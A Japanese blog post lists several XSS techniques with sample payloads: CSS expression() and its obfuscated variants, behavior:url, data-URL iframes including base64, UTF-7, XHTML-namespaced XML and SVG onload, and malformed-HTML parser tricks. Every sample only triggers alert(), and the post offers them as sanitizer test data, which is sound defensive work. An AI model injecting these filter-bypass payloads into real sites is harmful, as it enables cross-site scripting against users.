読者です 読者をやめる 読者になる 読者になる
無料で使えるシステムトレードフレームワーク「Jiji」 をリリースしました!

・OANDA Trade APIを利用した、オープンソースのシステムトレードフレームワークです。
・自分だけの取引アルゴリズムで、誰でも、いますぐ、かんたんに、自動取引を開始できます。

XSSの攻撃手法いろいろ

html5securityのサイトに、XSSの各種攻撃手法がまとめられているのを発見せり!ということで、個人的に「お!」と思った攻撃をサンプルつきでご紹介します。

1. CSS Expression

IE7以前には「CSS Expressions」という拡張機能があり、CSS内でJavaScriptを実行できたりします。

<div style="color:expression(alert('XSS'));">a</div>

確認

@IT -[柔軟すぎる]IEのCSS解釈で起こるXSS で詳しく解説されていますが、CSSの解釈が柔軟なことともあいまって自前で無害化するのはなかなか困難。以下のようなコードでもスクリプトが実行されてしまいます。

<div style="color:expr/* コメントの挿入 */ession(alert('XSS'));">a</div>

確認

<div style="color:&#x65;xpression(alert('XSS'));">a</div>
<div style="color:\0065xpression(alert('XSS2'));">b</div>

確認


似たような話で「behavior」を使う攻撃もあります。こちらは指定したJScriptを実行できるとのこと。

<div style='behavior:url(test.sct)'>a</div>

確認

2. data URL

URLにデータを埋め込む「data URL」スキームを利用して、iframeやobjectに攻撃用スクリプトをロードさせる手法。

<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>
<object data="data:text/html,<script>alert('XSS2')</script>"></object>

確認

base64エンコードしたデータも指定でき、この場合単純な文字列探索(「script」タグを探すとか)では攻撃を検知できません。data URL自体を拒否する対処が必要です。

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4='></iframe

確認

3. UTF-7

マイナーなUTF-7エンコードを使用した攻撃。

  1. UTF-7では「<」が「+ADw-」になるので、そこを付いてタグのエスケープを回避
  2. その上で、クライアント側でHTMLの文字コードUTF-7と認識させることでスクリプトを実行させる

というものです。詳細はITPro - UTF-7とクロスサイト・スクリプティング を参照。

<meta http-equiv="Content-Type" content="text/html; charset=UTF-7"/>
+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-

確認

エンコードの自動判断によってUTF-7と認識される場合もあるらしく、以下のような場合にも注意が必要とのこと。

4. XML + ネームスペース

XMLでもxhtmlのネームスペースが付与されているとFireFoxではxhtmlと解釈され、スクリプトが実行されます。

<?xml version="1.0" encoding="UTF-8"?>
<test>
  <body xmlns="http://www.w3.org/1999/xhtml" onload="alert('XSS');">
  </body>
</test>

確認
XMLだからといって安心しては危険。また、同様に、SVGでもスクリプトが実行できたりします。

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns='http://www.w3.org/2000/svg'>
  <g onload="javascript:alert('XSS')"></g>
</svg>

確認

5. HTMLの解釈関連

あとは、HTMLの構造が不正だけど、ブラウザの解釈によってスクリプトが実行されるよー、というたぐいのものを3つほど。

<b>aaaa<script<b></b><alert('XSS')</script </b>

確認 ※FireFoxのみ

<b <script>alert('XSS')</script>0

確認 ※FireFoxのみ

<style><img src='</style><img src=x onerror=alert("XSS")//'>

確認

・・・

紹介は以上。私が無知なだけかもですが、いろいろとありますなー。

zipでくれ!

最後に、マニアックな需要がありそうなので、↑のサンプルをzipにまとめたものもご提供しておきます。

→上記サンプルのzipアーカイブ

サニタイザ評価用データの足しにでもどうぞ。